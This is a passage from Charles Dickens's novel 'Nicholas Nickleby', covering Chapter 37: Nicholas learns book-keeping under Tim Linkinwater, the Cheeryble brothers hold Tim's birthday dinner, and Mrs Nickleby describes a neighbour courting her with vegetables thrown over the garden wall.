did, for it showed a +good heart. And one lady observed, as a case bearing upon the +present, that her husband was often quite light-headed from anxiety +on similar occasions, and that once, when her little Johnny was +born, it was nearly a week before he came to himself again, during +the whole of which time he did nothing but cry 'Is it a boy, is it a +boy?' in a manner which went to the hearts of all his hearers. + +At length, Morleena (who quite forgot she had fainted, when she +found she was not noticed) announced that a chamber was ready for +her afflicted parent; and Mr Kenwigs, having partially smothered his +four daughters in the closeness of his embrace, accepted the +doctor's arm on one side, and the support of Nicholas on the other, +and was conducted upstairs to a bedroom which been secured for the +occasion. + +Having seen him sound asleep, and heard him snore most +satisfactorily, and having further presided over the distribution of +the toys, to the perfect contentment of all the little Kenwigses, +Nicholas took his leave. The matrons dropped off one by one, with +the exception of six or eight particular friends, who had determined +to stop all night; the lights in the houses gradually disappeared; +the last bulletin was issued that Mrs Kenwigs was as well as could +be expected; and the whole family were left to their repose. + + + +CHAPTER 37 + +Nicholas finds further Favour in the Eyes of the brothers Cheeryble +and Mr Timothy Linkinwater. The brothers give a Banquet on a great +Annual Occasion. Nicholas, on returning Home from it, receives a +mysterious and important Disclosure from the Lips of Mrs Nickleby + + +The square in which the counting-house of the brothers Cheeryble was +situated, although it might not wholly realise the very sanguine +expectations which a stranger would be disposed to form on hearing +the fervent encomiums bestowed upon it by Tim Linkinwater, was, +nevertheless, a sufficiently desirable nook in the heart of a busy +town like London, and one which occupied a high place in the +affectionate remembrances of several grave persons domiciled in the +neighbourhood, whose recollections, however, dated from a much more +recent period, and whose attachment to the spot was far less +absorbing, than were the recollections and attachment of the +enthusiastic Tim. + +And let not those whose eyes have been accustomed to the +aristocratic gravity of Grosvenor Square and Hanover Square, the +dowager barrenness and frigidity of Fitzroy Square, or the gravel +walks and garden seats of the Squares of Russell and Euston, suppose +that the affections of Tim Linkinwater, or the inferior lovers of +this particular locality, had been awakened and kept alive by any +refreshing associations with leaves, however dingy, or grass, +however bare and thin. The city square has no enclosure, save the +lamp-post in the middle: and no grass, but the weeds which spring up +round its base. It is a quiet, little-frequented, retired spot, +favourable to melancholy and contemplation, and appointments of +long-waiting; and up and down its every side the Appointed saunters +idly by the hour together wakening the echoes with the monotonous +sound of his footsteps on the smooth worn stones, and counting, +first the windows, and then the very bricks of the tall silent +houses that hem him round about. In winter-time, the snow will +linger there, long after it has melted from the busy streets and +highways. The summer's sun holds it in some respect, and while he +darts his cheerful rays sparingly into the square, keeps his fiery +heat and glare for noisier and less-imposing precincts. It is so +quiet, that you can almost hear the ticking of your own watch when +you stop to cool in its refreshing atmosphere. There is a distant +hum--of coaches, not of insects--but no other sound disturbs the +stillness of the square. The ticket porter leans idly against the +post at the corner: comfortably warm, but not hot, although the day +is broiling. His white apron flaps languidly in the air, his head +gradually droops upon his breast, he takes very long winks with both +eyes at once; even he is unable to withstand the soporific influence +of the place, and is gradually falling asleep. But now, he starts +into full wakefulness, recoils a step or two, and gazes out before +him with eager wildness in his eye. Is it a job, or a boy at +marbles? Does he see a ghost, or hear an organ? No; sight more +unwonted still--there is a butterfly in the square--a real, live +butterfly! astray from flowers and sweets, and fluttering among the +iron heads of the dusty area railings. + +But if there were not many matters immediately without the doors of +Cheeryble Brothers, to engage the attention or distract the thoughts +of the young clerk, there were not a few within, to interest and +amuse him. There was scarcely an object in the place, animate or +inanimate, which did not partake in some degree of the scrupulous +method and punctuality of Mr Timothy Linkinwater. Punctual as the +counting-house dial, which he maintained to be the best time-keeper +in London next after the clock of some old, hidden, unknown church +hard by, (for Tim held the fabled goodness of that at the Horse +Guards to be a pleasant fiction, invented by jealous West-enders,) +the old clerk performed the minutest actions of the day, and +arranged the minutest articles in the little room, in a precise and +regular order, which could not have been exceeded if it had actually +been a real glass case, fitted with the choicest curiosities. +Paper, pens, ink, ruler, sealing-wax, wafers, pounce-box, string- +box, fire-box, Tim's hat, Tim's scrupulously-folded gloves, Tim's +other coat--looking precisely like a back view of himself as it hung +against the wall--all had their accustomed inches of space. Except +the clock, there was not such an accurate and unimpeachable +instrument in existence as the little thermometer which hung behind +the door. There was not a bird of such methodical and business-like +habits in all the world, as the blind blackbird, who dreamed and +dozed away his days in a large snug cage, and had lost his voice, +from old age, years before Tim first bought him. There was not such +an eventful story in the whole range of anecdote, as Tim could tell +concerning the acquisition of that very bird; how, compassionating +his starved and suffering condition, he had purchased him, with the +view of humanely terminating his wretched life; how he determined to +wait three days and see whether the bird revived; how, before half +the time was out, the bird did revive; and how he went on reviving +and picking up his appetite and good looks until he gradually became +what--'what you see him now, sir,'--Tim would say, glancing proudly +at the cage. And with that, Tim would utter a melodious chirrup, +and cry 'Dick;' and Dick, who, for any sign of life he had +previously given, might have been a wooden or stuffed representation +of a blackbird indifferently executed, would come to the side of the +cage in three small jumps, and, thrusting his bill between the bars, +turn his sightless head towards his old master--and at that moment +it would be very difficult to determine which of the two was the +happier, the bird or Tim Linkinwater. + +Nor was this all. Everything gave back, besides, some reflection of +the kindly spirit of the brothers. The warehousemen and porters +were such sturdy, jolly fellows, that it was a treat to see them. +Among the shipping announcements and steam-packet list's which +decorated the counting-house wall, were designs for almshouses, +statements of charities, and plans for new hospitals. A blunderbuss +and two swords hung above the chimney-piece, for the terror of evil- +doers, but the blunderbuss was rusty and shattered, and the swords +were broken and edgeless. Elsewhere, their open display in such a +condition would have realised a smile; but, there, it seemed as +though even violent and offensive weapons partook of the reigning +influence, and became emblems of mercy and forbearance. + +Such thoughts as these occurred to Nicholas very strongly, on the +morning when he first took possession of the vacant stool, and +looked about him, more freely and at ease, than he had before +enjoyed an opportunity of doing. Perhaps they encouraged and +stimulated him to exertion, for, during the next two weeks, all his +spare hours, late at night and early in the morning, were +incessantly devoted to acquiring the mysteries of book-keeping and +some other forms of mercantile account. To these, he applied +himself with such steadiness and perseverance that, although he +brought no greater amount of previous knowledge to the subject than +certain dim recollections of two or three very long sums entered +into a ciphering-book at school, and relieved for parental +inspection by the effigy of a fat swan tastefully flourished by the +writing-master's own hand, he found himself, at the end of a +fortnight, in a condition to report his proficiency to Mr +Linkinwater, and to claim his promise that he, Nicholas Nickleby, +should now be allowed to assist him in his graver labours. + +It was a sight to behold Tim Linkinwater slowly bring out a massive +ledger and day-book, and, after turning them over and over, and +affectionately dusting their backs and sides, open the leaves here +and there, and cast his eyes, half mournfully, half proudly, upon +the fair and unblotted entries. + +'Four-and-forty year, next May!' said Tim. 'Many new ledgers since +then. Four-and-forty year!' + +Tim closed the book again. + +'Come, come,' said Nicholas, 'I am all impatience to begin.' + +Tim Linkinwater shook his head with an air of mild reproof. Mr +Nickleby was not sufficiently impressed with the deep and awful +nature of his undertaking. Suppose there should be any mistake--any +scratching out! + +Young men are adventurous. It is extraordinary what they will rush +upon, sometimes. Without even taking the precaution of sitting +himself down upon his stool, but standing leisurely at the desk, and +with a smile upon his face--actually a smile--there was no mistake +about it; Mr Linkinwater often mentioned it afterwards--Nicholas +dipped his pen into the inkstand before him, and plunged into the +books of Cheeryble Brothers! + +Tim Linkinwater turned pale, and tilting up his stool on the two +legs nearest Nicholas, looked over his shoulder in breathless +anxiety. Brother Charles and brother Ned entered the counting-house +together; but Tim Linkinwater, without looking round, impatiently +waved his hand as a caution that profound silence must be observed, +and followed the nib of the inexperienced pen with strained and +eager eyes. + +The brothers looked on with smiling faces, but Tim Linkinwater +smiled not, nor moved for some minutes. At length, he drew a long +slow breath, and still maintaining his position on the tilted stool, +glanced at brother Charles, secretly pointed with the feather of his +pen towards Nicholas, and nodded his head in a grave and resolute +manner, plainly signifying 'He'll do.' + +Brother Charles nodded again, and exchanged a laughing look with +brother Ned; but, just then, Nicholas stopped to refer to some other +page, and Tim Linkinwater, unable to contain his satisfaction any +longer, descended from his stool, and caught him rapturously by the +hand. + +'He has done it!' said Tim, looking round at his employers and +shaking his head triumphantly. 'His capital B's and D's are exactly +like mine; he dots all his small i's and crosses every t as he +writes it. There an't such a young man as this in all London,' said +Tim, clapping Nicholas on the back; 'not one. Don't tell me! The +city can't produce his equal. I challenge the city to do it!' + +With this casting down of his gauntlet, Tim Linkinwater struck the +desk such a blow with his clenched fist, that the old blackbird +tumbled off his perch with the start it gave him, and actually +uttered a feeble croak, in the extremity of his astonishment. + +'Well said, Tim--well said, Tim Linkinwater!' cried brother Charles, +scarcely less pleased than Tim himself, and clapping his hands +gently as he spoke. 'I knew our young friend would take great +pains, and I was quite certain he would succeed, in no time. Didn't +I say so, brother Ned?' + +'You did, my dear brother; certainly, my dear brother, you said so, +and you were quite right,' replied Ned. 'Quite right. Tim +Linkinwater is excited, but he is justly excited, properly excited. +Tim is a fine fellow. Tim Linkinwater, sir--you're a fine fellow.' + +'Here's a pleasant thing to think of!' said Tim, wholly regardless +of this address to himself, and raising his spectacles from the +ledger to the brothers. 'Here's a pleasant thing. Do you suppose I +haven't often thought of what would become of these books when I was +gone? Do you suppose I haven't often thought that things might go +on irregular and untidy here, after I was taken away? But now,' +said Tim, extending his forefinger towards Nicholas, 'now, when I've +shown him a little more, I'm satisfied. The business will go on, +when I'm dead, as well as it did when I was alive--just the same-- +and I shall have the satisfaction of knowing that there never were +such books--never were such books! No, nor never will be such +books--as the books of Cheeryble Brothers.' + +Having thus expressed his sentiments, Mr Linkinwater gave vent to a +short laugh, indicative of defiance to the cities of London and +Westminster, and, turning again to his desk, quietly carried +seventy-six from the last column he had added up, and went on with +his work. + +'Tim Linkinwater, sir,' said brother Charles; 'give me your hand, +sir. This is your birthday. How dare you talk about anything else +till you have been wished many happy returns of the day, Tim +Linkinwater? God bless you, Tim! God bless you!' + +'My dear brother,' said the other, seizing Tim's disengaged fist, +'Tim Linkinwater looks ten years younger than he did on his last +birthday.' + +'Brother Ned, my dear boy,' returned the other old fellow, 'I +believe that Tim Linkinwater was born a hundred and fifty years old, +and is gradually coming down to five-and-twenty; for he's younger +every birthday than he was the year before.' + +'So he is, brother Charles, so he is,' replied brother Ned. +'There's not a doubt about it.' + +'Remember, Tim,' said brother Charles, 'that we dine at half-past +five today instead of two o'clock; we always depart from our usual +custom on this anniversary, as you very well know, Tim Linkinwater. +Mr Nickleby, my dear sir, you will make one. Tim Linkinwater, give +me your snuff-box as a remembrance to brother Charles and myself of +an attached and faithful rascal, and take that, in exchange, as a +feeble mark of our respect and esteem, and don't open it until you +go to bed, and never say another word upon the subject, or I'll kill +the blackbird. A dog! He should have had a golden cage half-a- +dozen years ago, if it would have made him or his master a bit the +happier. Now, brother Ned, my dear fellow, I'm ready. At half-past +five, remember, Mr Nickleby! Tim Linkinwater, sir, take care of Mr +Nickleby at half-past five. Now, brother Ned.' + +Chattering away thus, according to custom, to prevent the +possibility of any thanks or acknowledgment being expressed on the +other side, the twins trotted off, arm-in-arm; having endowed Tim +Linkinwater with a costly gold snuff-box, enclosing a bank note +worth more than its value ten times told. + +At a quarter past five o'clock, punctual to the minute, arrived, +according to annual usage, Tim Linkinwater's sister; and a great to- +do there was, between Tim Linkinwater's sister and the old +housekeeper, respecting Tim Linkinwater's sister's cap, which had +been dispatched, per boy, from the house of the family where Tim +Linkinwater's sister boarded, and had not yet come to hand: +notwithstanding that it had been packed up in a bandbox, and the +bandbox in a handkerchief, and the handkerchief tied on to the boy's +arm; and notwithstanding, too, that the place of its consignment had +been duly set forth, at full length, on the back of an old letter, +and the boy enjoined, under pain of divers horrible penalties, the +full extent of which the eye of man could not foresee, to deliver +the same with all possible speed, and not to loiter by the way. Tim +Linkinwater's sister lamented; the housekeeper condoled; and both +kept thrusting their heads out of the second-floor window to see if +the boy was 'coming'--which would have been highly satisfactory, +and, upon the whole, tantamount to his being come, as the distance +to the corner was not quite five yards--when, all of a sudden, and +when he was least expected, the messenger, carrying the bandbox with +elaborate caution, appeared in an exactly opposite direction, +puffing and panting for breath, and flushed with recent exercise; as +well he might be; for he had taken the air, in the first instance, +behind a hackney coach that went to Camberwell, and had followed two +Punches afterwards and had seen the Stilts home to their own door. +The cap was all safe, however--that was one comfort--and it was no +use scolding him--that was another; so the boy went upon his way +rejoicing, and Tim Linkinwater's sister presented herself to the +company below-stairs, just five minutes after the half-hour had +struck by Tim Linkinwater's own infallible clock. + +The company consisted of the brothers Cheeryble, Tim Linkinwater, a +ruddy-faced white-headed friend of Tim's (who was a superannuated +bank clerk), and Nicholas, who was presented to Tim Linkinwater's +sister with much gravity and solemnity. The party being now +completed, brother Ned rang for dinner, and, dinner being shortly +afterwards announced, led Tim Linkinwater's sister into the next +room, where it was set forth with great preparation. Then, brother +Ned took the head of the table, and brother Charles the foot; and +Tim Linkinwater's sister sat on the left hand of brother Ned, and +Tim Linkinwater himself on his right: and an ancient butler of +apoplectic appearance, and with very short legs, took up his +position at the back of brother Ned's armchair, and, waving his +right arm preparatory to taking off the covers with a flourish, +stood bolt upright and motionless. + +'For these and all other blessings, brother Charles,' said Ned. + +'Lord, make us truly thankful, brother Ned,' said Charles. + +Whereupon the apoplectic butler whisked off the top of the soup +tureen, and shot, all at once, into a state of violent activity. + +There was abundance of conversation, and little fear of its ever +flagging, for the good-humour of the glorious old twins drew +everybody out, and Tim Linkinwater's sister went off into a long and +circumstantial account of Tim Linkinwater's infancy, immediately +after the very first glass of champagne--taking care to premise that +she was very much Tim's junior, and had only become acquainted with +the facts from their being preserved and handed down in the family. +This history concluded, brother Ned related how that, exactly +thirty-five years ago, Tim Linkinwater was suspected to have +received a love-letter, and how that vague information had been +brought to the counting-house of his having been seen walking down +Cheapside with an uncommonly handsome spinster; at which there was a +roar of laughter, and Tim Linkinwater being charged with blushing, +and called upon to explain, denied that the accusation was true; and +further, that there would have been any harm in it if it had been; +which last position occasioned the superannuated bank clerk to laugh +tremendously, and to declare that it was the very best thing he had +ever heard in his life, and that Tim Linkinwater might say a great +many things before he said anything which would beat THAT. + +There was one little ceremony peculiar to the day, both the matter +and manner of which made a very strong impression upon Nicholas. +The cloth having been removed and the decanters sent round for the +first time, a profound silence succeeded, and in the cheerful faces +of the brothers there appeared an expression, not of absolute +melancholy, but of quiet thoughtfulness very unusual at a festive +table. As Nicholas, struck by this sudden alteration, was wondering +what it could portend, the brothers rose together, and the one at +the top of the table leaning forward towards the other, and speaking +in a low voice as if he were addressing him individually, said: + +'Brother Charles, my dear fellow, there is another association +connected with this day which must never be forgotten, and never can +be forgotten, by you and me. This day, which brought into the world +a most faithful and excellent and exemplary fellow, took from it the +kindest and very best of parents, the very best of parents to us +both. I wish that she could have seen us in our prosperity, and +shared it, and had the happiness of knowing how dearly we loved her +in it, as we did when we were two poor boys; but that was not to be. +My dear brother--The Memory of our Mother.' + +'Good Lord!' thought Nicholas, 'and there are scores of people of +their own station, knowing all this, and twenty thousand times more, +who wouldn't ask these men to dinner because they eat with their +knives and never went to school!' + +But there was no time to moralise, for the joviality again became +very brisk, and the decanter of port being nearly out, brother Ned +pulled the bell, which was instantly answered by the apoplectic +butler. + +'David,' said brother Ned. + +'Sir,' replied the butler. + +'A magnum of the double-diamond, David, to drink the health of Mr +Linkinwater.' + +Instantly, by a feat of dexterity, which was the admiration of all +the company, and had been, annually, for some years past, the +apoplectic butler, bringing his left hand from behind the small of +his back, produced the bottle with the corkscrew already inserted; +uncorked it at a jerk; and placed the magnum and the cork before his +master with the dignity of conscious cleverness. + +'Ha!' said brother Ned, first examining the cork and afterwards +filling his glass, while the old butler looked complacently and +amiably on, as if it were all his own property, but the company were +quite welcome to make free with it, 'this looks well, David.' + +'It ought to, sir,' replied David. 'You'd be troubled to find such +a glass of wine as is our double-diamond, and that Mr Linkinwater +knows very well. That was laid down when Mr Linkinwater first come: +that wine was, gentlemen.' + +'Nay, David, nay,' interposed brother Charles. + +'I wrote the entry in the cellar-book myself, sir, if you please,' +said David, in the tone of a man, quite confident in the strength of +his facts. 'Mr Linkinwater had only been here twenty year, sir, +when that pipe of double-diamond was laid down.' + +'David is quite right, quite right, brother Charles," said Ned: 'are +the people here, David?' + +'Outside the door, sir,' replied the butler. + +'Show 'em in, David, show 'em in.' + +At this bidding, the older butler placed before his master a small +tray of clean glasses, and opening the door admitted the jolly +porters and warehousemen whom Nicholas had seen below. They were +four in all, and as they came in, bowing, and grinning, and +blushing, the housekeeper, and cook, and housemaid, brought up the +rear. + +'Seven,' said brother Ned, filling a corresponding number of glasses +with the double-diamond, 'and David, eight. There! Now, you're all +of you to drink the health of your best friend Mr Timothy +Linkinwater, and wish him health and long life and many happy +returns of this day, both for his own sake and that of your old +masters, who consider him an inestimable treasure. Tim Linkinwater, +sir, your health. Devil take you, Tim Linkinwater, sir, God bless +you.' + +With this singular contradiction of terms, brother Ned gave Tim +Linkinwater a slap on the back, which made him look, for the moment, +almost as apoplectic as the butler: and tossed off the contents of +his glass in a twinkling. + +The toast was scarcely drunk with all honour to Tim Linkinwater, +when the sturdiest and jolliest subordinate elbowed himself a little +in advance of his fellows, and exhibiting a very hot and flushed +countenance, pulled a single lock of grey hair in the middle of his +forehead as a respectful salute to the company, and delivered +himself as follows--rubbing the palms of his hands very hard on a +blue cotton handkerchief as he did so: + +'We're allowed to take a liberty once a year, gen'lemen, and if you +please we'll take it now; there being no time like the present, and +no two birds in the hand worth one in the bush, as is well known-- +leastways in a contrairy sense, which the meaning is the same. (A +pause--the butler unconvinced.) What we mean to say is, that there +never was (looking at the butler)--such--(looking at the cook) +noble--excellent--(looking everywhere and seeing nobody) free, +generous-spirited masters as them as has treated us so handsome this +day. And here's thanking of 'em for all their goodness as is so +constancy a diffusing of itself over everywhere, and wishing they +may live long and die happy!' + +When the foregoing speech was over--and it might have been much more +elegant and much less to the purpose--the whole body of subordinates +under command of the apoplectic butler gave three soft cheers; +which, to that gentleman's great indignation, were not very regular, +inasmuch as the women persisted in giving an immense number of +little shrill hurrahs among themselves, in utter disregard of the +time. This done, they withdrew; shortly afterwards, Tim +Linkinwater's sister withdrew; in reasonable time after that, the +sitting was broken up for tea and coffee, and a round game of cards. + +At half-past ten--late hours for the square--there appeared a little +tray of sandwiches and a bowl of bishop, which bishop coming on the +top of the double-diamond, and other excitements, had such an effect +upon Tim Linkinwater, that he drew Nicholas aside, and gave him to +understand, confidentially, that it was quite true about the +uncommonly handsome spinster, and that she was to the full as good- +looking as she had been described--more so, indeed--but that she was +in too much of a hurry to change her condition, and consequently, +while Tim was courting her and thinking of changing his, got married +to somebody else. 'After all, I dare say it was my fault,' said +Tim. 'I'll show you a print I have got upstairs, one of these days. +It cost me five-and-twenty shillings. I bought it soon after we +were cool to each other. Don't mention it, but it's the most +extraordinary accidental likeness you ever saw--her very portrait, +sir!' + +By this time it was past eleven o'clock; and Tim Linkinwater's +sister declaring that she ought to have been at home a full hour +ago, a coach was procured, into which she was handed with great +ceremony by brother Ned, while brother Charles imparted the fullest +directions to the coachman, and besides paying the man a shilling +over and above his fare, in order that he might take the utmost care +of the lady, all but choked him with a glass of spirits of uncommon +strength, and then nearly knocked all the breath out of his body in +his energetic endeavours to knock it in again. + +At length the coach rumbled off, and Tim Linkinwater's sister being +now fairly on her way home, Nicholas and Tim Linkinwater's friend +took their leaves together, and left old Tim and the worthy brothers +to their repose. + +As Nicholas had some distance to walk, it was considerably past +midnight by the time he reached home, where he found his mother and +Smike sitting up to receive him. It was long after their usual hour +of retiring, and they had expected him, at the very latest, two +hours ago; but the time had not hung heavily on their hands, for Mrs +Nickleby had entertained Smike with a genealogical account of her +family by the mother's side, comprising biographical sketches of the +principal members, and Smike had sat wondering what it was all +about, and whether it was learnt from a book, or said out of Mrs +Nickleby's own head; so that they got on together very pleasantly. + +Nicholas could not go to bed without expatiating on the excellences +and munificence of the brothers Cheeryble, and relating the great +success which had attended his efforts that day. But before he had +said a dozen words, Mrs Nickleby, with many sly winks and nods, +observed, that she was sure Mr Smike must be quite tired out, and +that she positively must insist on his not sitting up a minute +longer. + +'A most biddable creature he is, to be sure,' said Mrs Nickleby, +when Smike had wished them good-night and left the room. 'I know +you'll excuse me, Nicholas, my dear, but I don't like to do this +before a third person; indeed, before a young man it would not be +quite proper, though really, after all, I don't know what harm there +is in it, except that to be sure it's not a very becoming thing, +though some people say it is very much so, and really I don't know +why it should not be, if it's well got up, and the borders are +small-plaited; of course, a good deal depends upon that.' + +With which preface, Mrs Nickleby took her nightcap from between the +leaves of a very large prayer-book where it had been folded up +small, and proceeded to tie it on: talking away in her usual +discursive manner, all the time. + +'People may say what they like,' observed Mrs Nickleby, 'but there's +a great deal of comfort in a nightcap, as I'm sure you would +confess, Nicholas my dear, if you would only have strings to yours, +and wear it like a Christian, instead of sticking it upon the very +top of your head like a blue-coat boy. You needn't think it an +unmanly or quizzical thing to be particular about your nightcap, for +I have often heard your poor dear papa, and the Reverend Mr What's- +his-name, who used to read prayers in that old church with the +curious little steeple that the weathercock was blown off the night +week before you were born,--I have often heard them say, that the +young men at college are uncommonly particular about their +nightcaps, and that the Oxford nightcaps are quite celebrated for +their strength and goodness; so much so, indeed, that the young men +never dream of going to bed without 'em, and I believe it's admitted +on all hands that THEY know what's good, and don't coddle +themselves.' + +Nicholas laughed, and entering no further into the subject of this +lengthened harangue, reverted to the pleasant tone of the little +birthday party. And as Mrs Nickleby instantly became very curious +respecting it, and made a great number of inquiries touching what +they had had for dinner, and how it was put on table, and whether it +was overdone or underdone, and who was there, and what 'the Mr +Cherrybles' said, and what Nicholas said, and what the Mr Cherrybles +said when he said that; Nicholas described the festivities at full +length, and also the occurrences of the morning. + +'Late as it is,' said Nicholas, 'I am almost selfish enough to wish +that Kate had been up to hear all this. I was all impatience, as I +came along, to tell her.' + +'Why, Kate,' said Mrs Nickleby, putting her feet upon the fender, +and drawing her chair close to it, as if settling herself for a long +talk. 'Kate has been in bed--oh! a couple of hours--and I'm very +glad, Nicholas my dear, that I prevailed upon her not to sit up, for +I wished very much to have an opportunity of saying a few words to +you. I am naturally anxious about it, and of course it's a very +delightful and consoling thing to have a grown-up son that one can +put confidence in, and advise with; indeed I don't know any use +there would be in having sons at all, unless people could put +confidence in them.' + +Nicholas stopped in the middle of a sleepy yawn, as his mother began +to speak: and looked at her with fixed attention. + +'There was a lady in our neighbourhood,' said Mrs Nickleby, +'speaking of sons puts me in mind of it--a lady in our neighbourhood +when we lived near Dawlish, I think her name was Rogers; indeed I am +sure it was if it wasn't Murphy, which is the only doubt I have--' + +'Is it about her, mother, that you wished to speak to me?' said +Nicholas quietly. + +'About HER!' cried Mrs Nickleby. 'Good gracious, Nicholas, my dear, +how CAN you be so ridiculous! But that was always the way with your +poor dear papa,--just his way--always wandering, never able to fix +his thoughts on any one subject for two minutes together. I think I +see him now!' said Mrs Nickleby, wiping her eyes, 'looking at me +while I was talking to him about his affairs, just as if his ideas +were in a state of perfect conglomeration! Anybody who had come in +upon us suddenly, would have supposed I was confusing and +distracting him instead of making things plainer; upon my word they +would.' + +'I am very sorry, mother, that I should inherit this unfortunate +slowness of apprehension,' said Nicholas, kindly; 'but I'll do my +best to understand you, if you'll only go straight on: indeed I +will.' + +'Your poor pa!' said Mrs Nickleby, pondering. 'He never knew, till +it was too late, what I would have had him do!' + +This was undoubtedly the case, inasmuch as the deceased Mr Nickleby +had not arrived at the knowledge. Then he died. Neither had Mrs +Nickleby herself; which is, in some sort, an explanation of the +circumstance. + +'However,' said Mrs Nickleby, drying her tears, 'this has nothing to +do--certainly nothing whatever to do--with the gentleman in the next +house.' + +'I should suppose that the gentleman in the next house has as little +to do with us,' returned Nicholas. + +'There can be no doubt,' said Mrs Nickleby, 'that he IS a gentleman, +and has the manners of a gentleman, and the appearance of a +gentleman, although he does wear smalls and grey worsted stockings. +That may be eccentricity, or he may be proud of his legs. I don't +see why he shouldn't be. The Prince Regent was proud of his legs, +and so was Daniel Lambert, who was also a fat man; HE was proud of +his legs. So was Miss Biffin: she was--no,' added Mrs Nickleby, +correcting, herself, 'I think she had only toes, but the principle +is the same.' + +Nicholas looked on, quite amazed at the introduction of this new +theme. Which seemed just what Mrs Nickleby had expected him to be. + +'You may well be surprised, Nicholas, my dear,' she said, 'I am sure +I was. It came upon me like a flash of fire, and almost froze my +blood. The bottom of his garden joins the bottom of ours, and of +course I had several times seen him sitting among the scarlet-beans +in his little arbour, or working at his little hot-beds. I used to +think he stared rather, but I didn't take any particular notice of +that, as we were newcomers, and he might be curious to see what we +were like. But when he began to throw his cucumbers over our wall--' + +'To throw his cucumbers over our wall!' repeated Nicholas, in great +astonishment. + +'Yes, Nicholas, my dear,' replied Mrs Nickleby in a very serious +tone; 'his cucumbers over our wall. And vegetable marrows +likewise.' + +'Confound his impudence!' said Nicholas, firing immediately. 'What +does he mean by that?' + +'I don't think he means it impertinently at all,' replied Mrs +Nickleby. + +'What!' said Nicholas, 'cucumbers and vegetable marrows flying at +the heads of the family as they walk in their own garden, and not +meant impertinently! Why, mother--' + +Nicholas stopped short; for there was an indescribable expression of +placid triumph, mingled with a modest confusion, lingering between +the borders of Mrs Nickleby's nightcap, which arrested his attention +suddenly. + +'He must be a very weak, and foolish, and inconsiderate man,' said +Mrs Nickleby; 'blamable indeed--at least I suppose other people +would consider him so; of course I can't be expected to express any +opinion on that point, especially after always defending your poor +dear papa when other people blamed him for making proposals to me; +and to be sure there can be no doubt that he has taken a very +singular way of showing it. Still at the same time, his attentions +are--that is, as far as it goes, and to a certain extent of course-- +a flattering sort of thing; and although I should never dream of +marrying again with a dear girl like Kate still unsettled in life--' + +'Surely, mother, such an idea never entered your brain for an +instant?' said Nicholas. + +'Bless my heart, Nicholas my dear,' returned his mother in a peevish +tone, 'isn't that precisely what I am saying, if you would only let +me speak? Of course, I never gave it a second thought, and I am +surprised and astonished that you should suppose me capable of such +a thing. All I say is, what step is the best to take, so as to +reject these advances civilly and delicately, and without hurting +his feelings too much, and driving him to despair, or anything of +that kind? My goodness me!' exclaimed Mrs Nickleby, with a half- +simper, 'suppose he was to go doing anything rash to himself. Could +I ever be happy again, Nicholas?' + +Despite his vexation and concern, Nicholas could scarcely help +smiling, as he rejoined, 'Now, do you think, mother, that such a +result would be likely to ensue from the most cruel repulse?' + +'Upon my word, my dear, I don't know," returned Mrs Nickleby; +'really, I don't know. I am sure there was a case in the day before +yesterday's paper, extracted from one of the French newspapers, +about a journeyman shoemaker who was jealous of a young girl in an +adjoining village, because she wouldn't shut herself up in an air- +tight three-pair-of-stairs, and charcoal herself to death with him; +and who went and hid himself in a wood with a sharp-pointed knife, +and rushed out, as she was passing by with a few friends, and killed +himself first, and then all the friends, and then her--no, killed +all the friends first, and then herself, and then HIMself--which it +is quite frightful to think of. Somehow or other,' added Mrs +Nickleby, after a momentary pause, 'they always ARE journeyman +shoemakers who do these things in France, according to the papers. +I don't know how it is--something in the leather, I suppose.' + +'But this man, who is not a shoemaker--what has he done, mother, +what has he said?' inquired Nicholas, fretted almost beyond +endurance, but looking nearly as resigned and patient as Mrs +Nickleby herself. 'You know, there is no language of vegetables, +which converts a cucumber into a formal declaration of attachment.' + +'My dear,' replied Mrs Nickleby, tossing her head and looking at the +ashes in the grate, 'he has done and said all sorts of things.' + +'Is there no mistake on your part?' asked Nicholas. + +'Mistake!' cried Mrs Nickleby. 'Lord, Nicholas my dear, do you +suppose I don't know when a man's in earnest?' + +'Well, well!' muttered Nicholas. + +'Every time I go to the window,' said Mrs Nickleby, 'he kisses one +hand, and lays the other upon his heart--of course it's very foolish +of him to do so, and I dare say you'll say it's very wrong, but he +does it very respectfully--very respectfully indeed--and very +tenderly, extremely tenderly. So far, he deserves the greatest +credit; there can be no doubt about that. Then, there are the +presents which come pouring over the wall every day, and very fine +they certainly are, very fine; we had one of the cucumbers at dinner +yesterday, and think of pickling the rest for next winter. And last +evening,' added Mrs Nickleby, with increased confusion, 'he called +gently over the wall, as I was walking in the garden, and proposed +marriage, and an elopement. His voice is as clear as a bell or a +musical glass--very like a musical glass indeed--but of course I +didn't listen to it. Then, the question is, Nicholas my dear, what +am I to do?' + +'Does Kate know of this?' asked Nicholas. + +'I have not said a word about it yet,' answered his mother. + +'Then, for Heaven's sake,' rejoined Nicholas, rising, 'do not, for +it would make her very unhappy. And with regard to what you should +do, my dear mother, do what your good sense and feeling, and respect +for my father's memory, would prompt. There are a thousand ways in +which you can show your dislike of these preposterous and doting +attentions. If you act as decidedly as you ought and they are still +continued, and to your annoyance, I can speedily put a stop to them. +But I should not interfere in a matter so ridiculous, and attach +importance to it, until you have vindicated yourself. Most women +can do that, but especially one of your age and condition, in +circumstances like these, which are unworthy of a serious thought. +I would not shame you by seeming to take them to heart, or treat +them earnestly for an instant. Absurd old idiot!' + +So saying, Nicholas kissed his mother, and bade her good-night, and +they retired to their respective chambers. + +To do Mrs Nickleby justice, her attachment to her children would +have prevented her seriously contemplating a second marriage, even +if she could have so far conquered her recollections of her late +husband as to have any strong inclinations that way. But, although +there was no evil and little real selfishness in Mrs Nickleby's +heart, she had a weak head and a vain one; and there was something +so flattering in being sought (and vainly sought) in marriage at +this time of day, that she could not dismiss the passion of the +unknown gentleman quite so summarily or lightly as Nicholas appeared +to deem becoming. + +'As to its being preposterous, and doting, and ridiculous,' thought +Mrs Nickleby, communing with herself in her own room, 'I don't see +that, at all. It's hopeless on his part, certainly; but why he +should be an absurd old idiot, I confess I don't see. He is not to +be supposed to know it's hopeless. Poor fellow! He is to be +pitied, I think!' + +Having made these reflections, Mrs Nickleby looked in her little +dressing-glass, and walking backward a few steps from it, tried to +remember who it was who used to say that when Nicholas was one-and- +twenty he would have more the appearance of her brother than her +son. Not being able to call the authority to mind, she extinguished +her candle, and drew up the window-blind to admit the light of +morning, which had, by this time, begun to dawn. + +'It's a bad light to distinguish objects in,' murmured Mrs Nickleby, +peering into the garden, 'and my eyes are not very good--I was +short-sighted from a child--but, upon my word, I think there's +another large vegetable marrow sticking, at this moment, on the +broken glass bottles at the top of the wall!' + + + +CHAPTER 38 + +Comprises certain Particulars arising out of a Visit of +Condolence, which may prove important hereafter. Smike 